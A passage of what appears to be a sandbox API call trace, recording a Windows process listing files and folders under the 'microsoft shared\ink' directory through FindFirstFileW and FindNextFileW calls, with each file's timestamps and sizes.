ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0091.376] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0091.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0091.376] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.376] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0091.376] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0091.376] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0091.376] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0091.376] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0091.377] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0091.377] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0091.377] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0091.377] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0091.377] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0091.378] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0091.378] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0091.378] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0091.378] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0091.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0091.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0091.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0091.380] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0091.381] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0091.381] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0091.381] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0091.384] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0091.385] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0091.385] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0091.385] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0091.385] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0091.386] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0091.386] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4cb1e8, Size=0x4000) returned 0x36840c8 [0091.386] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0091.386] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0091.386] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0091.388] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0091.388] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0091.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0092.776] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, 